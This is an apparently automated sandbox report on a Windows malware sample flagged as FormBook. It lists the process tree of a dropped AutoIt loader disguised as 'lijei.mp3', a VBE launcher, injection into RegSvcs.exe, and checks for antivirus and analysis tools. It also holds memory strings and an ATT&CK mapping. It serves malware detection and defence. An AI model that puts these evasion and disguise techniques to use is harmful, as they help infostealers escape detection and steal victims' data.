                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: j,`#-,memstr_4c86c842-0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /_6e.memstr_7c47e74d-2
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'l&e-memstr_09872bfc-f
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $a+\$memstr_6c248d65-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1t,7#z(memstr_d2f4b2f5-e
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ("+?)memstr_1ce5b447-5
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 738,memstr_c046b73d-3
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 0c'-umemstr_30f928bc-5
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: +z)u*memstr_7d9fb352-c
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <"|)g$memstr_152a60b4-b
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 90y2_memstr_0412a481-1
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 0n-y&memstr_451067b4-e
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 2e*:2|'memstr_30e593d1-0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $f1v )-%2memstr_fb68df74-7
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !)\(memstr_43142a20-8
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 4x a,memstr_a7692a00-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 2_#&+a4%*memstr_20cc11a9-8
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 3t"g1memstr_fb8d8d84-5
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 7<2)&t-memstr_40da1ac6-f
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1t5).memstr_f886165f-8
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &;"w!memstr_fc6de5f2-0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: >)3!umemstr_6d3dd88e-b
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: )_"'!smemstr_8a4b8b5e-f
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: t&$memstr_042ff226-1
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: +i*/0memstr_163ad59a-b
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /v.;.memstr_9c0b3dd3-0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'h+(8memstr_afa17d96-2
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .y+s'x33-memstr_15a987fd-0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 7 'a2memstr_da515f31-3
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 3t)*memstr_f13712fc-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 7)e$i(memstr_cdd8dc04-1
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 3{4j(memstr_3b3f90a4-1
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $[5e8memstr_41f5928d-f
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %g#j(memstr_1ebafd8a-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $>3r$$#memstr_a9866c2b-b
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (-= memstr_fc232908-b
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -`"c)v'memstr_7dc1b1f1-7
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !}"w#memstr_1a01e2d6-9
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: *e+'0z!memstr_8a03904f-8
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "u$f$memstr_0e462871-c
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 2;2x-memstr_eb320540-4
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: +n)t,u'memstr_ee5b9762-b
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: r()"+memstr_098ef645-0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .,17/memstr_a9bba943-e
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (24f*$!memstr_42c28dbc-1
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: n+2%1-memstr_f98b7a20-a
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0090BB02 SendInput,keybd_event,8_2_0090BB02
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0090EB81 mouse_event,8_2_0090EB81
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" Jump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release Jump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c lijei.mp3 uudcsppmql.jpgJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew Jump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /releaseJump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3 lijei.mp3 uudcsppmql.jpgJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renewJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_009013F2 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,8_2_009013F2
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_00901EF3 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,8_2_00901EF3
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007352000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000000.2256004086.0000000000963000.00000002.00000001.01000000.0000000A.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000156F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
                Source: lijei.mp3, 00000008.00000003.2272160913.0000000001474000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2272207151.0000000001484000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If WinGetText("Program Manager") = "0" Then4
                Source: lijei.mp3, 00000008.00000003.2381228278.0000000001486000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If WinGetText("Program Manager") = "0" ThenT
                Source: lijei.mp3.exe, 0000000F.00000003.2509997083.0000000000AB3000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508743121.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A9A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
                Source: lijei.mp3, lijei.mp3.exeBinary or memory string: Shell_TrayWnd
                Source: lijei.mp3.exe, 0000000F.00000003.2423672943.0000000000A43000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If WinGetText("Program Manager") = "0" Then
                Source: lijei.mp3.exe, 0000000F.00000003.2510138675.0000000000A49000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2510230880.0000000000A52000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2510659650.0000000000A53000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If WinGetText("Program Manager") = "0" ThenLL
                Source: uudcsppmql.jpg.8.dr, uudcsppmql.jpg.0.drBinary or memory string: If WinGetText("Program Manager") = "0" Then
                Source: lijei.mp3, 00000008.00000003.2381009937.00000000014CA000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381842912.00000000014DF000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381891954.00000000014E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerFHg

                Language, Device and Operating System Detection

                barindex
                Yara detected Autoit Injector
                Source: Yara matchFile source: Process Memory Space: lijei.mp3 PID: 6196, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: lijei.mp3.exe PID: 1128, type: MEMORYSTR
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D96694 cpuid 0_2_00D96694
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: GetLocaleInfoW,GetNumberFormatW,0_2_00D8FD34
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D9454A GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,MapViewOfFile,UnmapViewOfFile,CloseHandle,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,0_2_00D9454A
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008FE5F8 GetUserNameW,8_2_008FE5F8
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008DBCF2 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,8_2_008DBCF2
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D803BE GetVersionExW,0_2_00D803BE
                Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                Source: lijei.mp3, 00000008.00000003.2381498844.000000000153E000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381394439.000000000153A000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000002.2385076616.000000000153E000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2509302529.0000000000B20000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508870605.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508743121.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000002.2511606958.0000000000B21000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A9A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: bdagent.exe
                Source: lijei.mp3.exe, 0000000F.00000003.2508870605.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2510579844.0000000000B09000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508743121.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000002.2511559677.0000000000B09000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A9A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: avp.exe
                Source: lijei.mp3, 00000008.00000003.2381498844.000000000153E000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381394439.000000000153A000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000002.2385076616.000000000153E000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2509302529.0000000000B20000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508870605.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508743121.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000002.2511606958.0000000000B21000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A9A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: AVGUI.exe
                Source: lijei.mp3.exe, 0000000F.00000003.2508870605.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2510579844.0000000000B09000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508743121.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000002.2511559677.0000000000B09000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A9A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: procexp.exe
                Source: lijei.mp3.exe, 0000000F.00000003.2508870605.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2510579844.0000000000B09000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508743121.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000002.2511559677.0000000000B09000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A9A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: regshot.exe

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 14.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000E.00000002.2818895373.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000E.00000002.2819115818.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: lijei.mp3.exeBinary or memory string: WIN_81
                Source: lijei.mp3.exeBinary or memory string: WIN_XP
                Source: lijei.mp3.0.drBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
                Source: lijei.mp3.exeBinary or memory string: WIN_XPe
                Source: lijei.mp3.exeBinary or memory string: WIN_VISTA
                Source: lijei.mp3.exeBinary or memory string: WIN_7
                Source: lijei.mp3.exeBinary or memory string: WIN_8

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 14.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000E.00000002.2818895373.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000E.00000002.2819115818.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_00922163 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,8_2_00922163
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_00921B61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,8_2_00921B61
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F32163 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,15_2_00F32163
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F31B61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,15_2_00F31B61

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity Information1
                Scripting                		2
                Valid Accounts                		1
                Native API                		1
                Scripting                		1
                Exploitation for Privilege Escalation                		1
                Disable or Modify Tools                		21
                Input Capture                		2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		1
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault Accounts2
                Command and Scripting Interpreter                		1
                DLL Side-Loading                		1
                DLL Side-Loading                		1
                Deobfuscate/Decode Files or Information                		LSASS Memory1
                Account Discovery                		Remote Desktop Protocol21
                Input Capture                		1
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAt2
                Valid Accounts                		2
                Valid Accounts                		2
                Obfuscated Files or Information                		Security Account Manager2
                File and Directory Discovery                		SMB/Windows Admin Shares3
                Clipboard Data                		SteganographyAutomated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCron1
                Registry Run Keys / Startup Folder                		21
                Access Token Manipulation                		1
                Software Packing                		NTDS27
                System Information Discovery                		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script412
                Process Injection                		1
                DLL Side-Loading                		LSA Secrets261
                Security Software Discovery                		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
                Registry Run Keys / Startup Folder                		1
                Masquerading                		Cached Domain Credentials11
                Virtualization/Sandbox Evasion                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
                Valid Accounts                		DCSync3
                Process Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job11
                Virtualization/Sandbox Evasion                		Proc Filesystem1
                Application Window Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt21
                Access Token Manipulation                		/etc/passwd and /etc/shadow1
                System Owner/User Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron412
                Process Injection                		Network Sniffing1
                System Network Configuration Discovery                		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 signatures2 2 Behavior Graph ID: 1569375 Sample: qPLzfnxGbj.exe Startdate: 05/12/2024 Architecture: WINDOWS Score: 100 71 Multi AV Scanner detection for submitted file 2->71 73 Yara detected Autoit Injector 2->73 75 Yara detected FormBook 2->75 77 8 other signatures 2->77 9 qPLzfnxGbj.exe 3 32 2->9         started        13 lijei.mp3.exe 1 1 2->13         started        process3 file4 51 C:\Users\user\AppData\Local\...\lijei.mp3, PE32 9->51 dropped 53 C:\Users\user\AppData\Local\Temp\...\paum.vbe, Unicode 9->53 dropped 81 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 9->81 15 wscript.exe 1 9->15         started        55 C:\Users\user\AppData\...\lijei.mp3.exe.exe, PE32 13->55 dropped 83 Found API chain indicative of sandbox detection 13->83 85 Contains functionality to inject code into remote processes 13->85 87 Writes to foreign memory regions 13->87 18 RegSvcs.exe 13->18         started        20 RegSvcs.exe 13->20         started        signatures5 process6 signatures7 89 Windows Scripting host queries suspicious COM object (likely to drop second stage) 15->89 22 cmd.exe 1 15->22         started        24 cmd.exe 1 15->24         started        27 cmd.exe 1 15->27         started        29 WerFault.exe 4 18->29         started        process8 signatures9 31 lijei.mp3 1 29 22->31         started        35 conhost.exe 22->35         started        79 Uses ipconfig to lookup or modify the Windows network settings 24->79 37 conhost.exe 24->37         started        39 ipconfig.exe 1 24->39         started        41 conhost.exe 27->41         started        43 ipconfig.exe 1 27->43         started        process10 file11 57 C:\Users\user\AppData\Local\...\lijei.mp3.exe, PE32 31->57 dropped 59 C:\Users\user\AppData\Local\...\lijei.mp3, PE32 31->59 dropped 61 C:\Users\user\AppData\Local\...\lijei.mp3.exe, PE32 31->61 dropped 63 Found API chain indicative of sandbox detection 31->63 65 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 31->65 67 Writes to foreign memory regions 31->67 69 2 other signatures 31->69 45 RegSvcs.exe 31->45         started        47 RegSvcs.exe 31->47         started        49 WerFault.exe 2 41->49         started        signatures12 process13

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                qPLzfnxGbj.exe66%ReversingLabsWin32.Trojan.Runner

                Dropped Files

                SourceDetectionScannerLabelLink
                C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp30%ReversingLabs
                C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3.exe0%ReversingLabs
                C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp30%ReversingLabs
                C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exe0%ReversingLabs
                C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exe.exe0%ReversingLabs

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                ⊘No Antivirus matches

                Domains and IPs

                Contacted Domains

                ⊘No contacted domains info

                URLs from Memory and Binaries

                NameSourceMaliciousAntivirus DetectionReputation
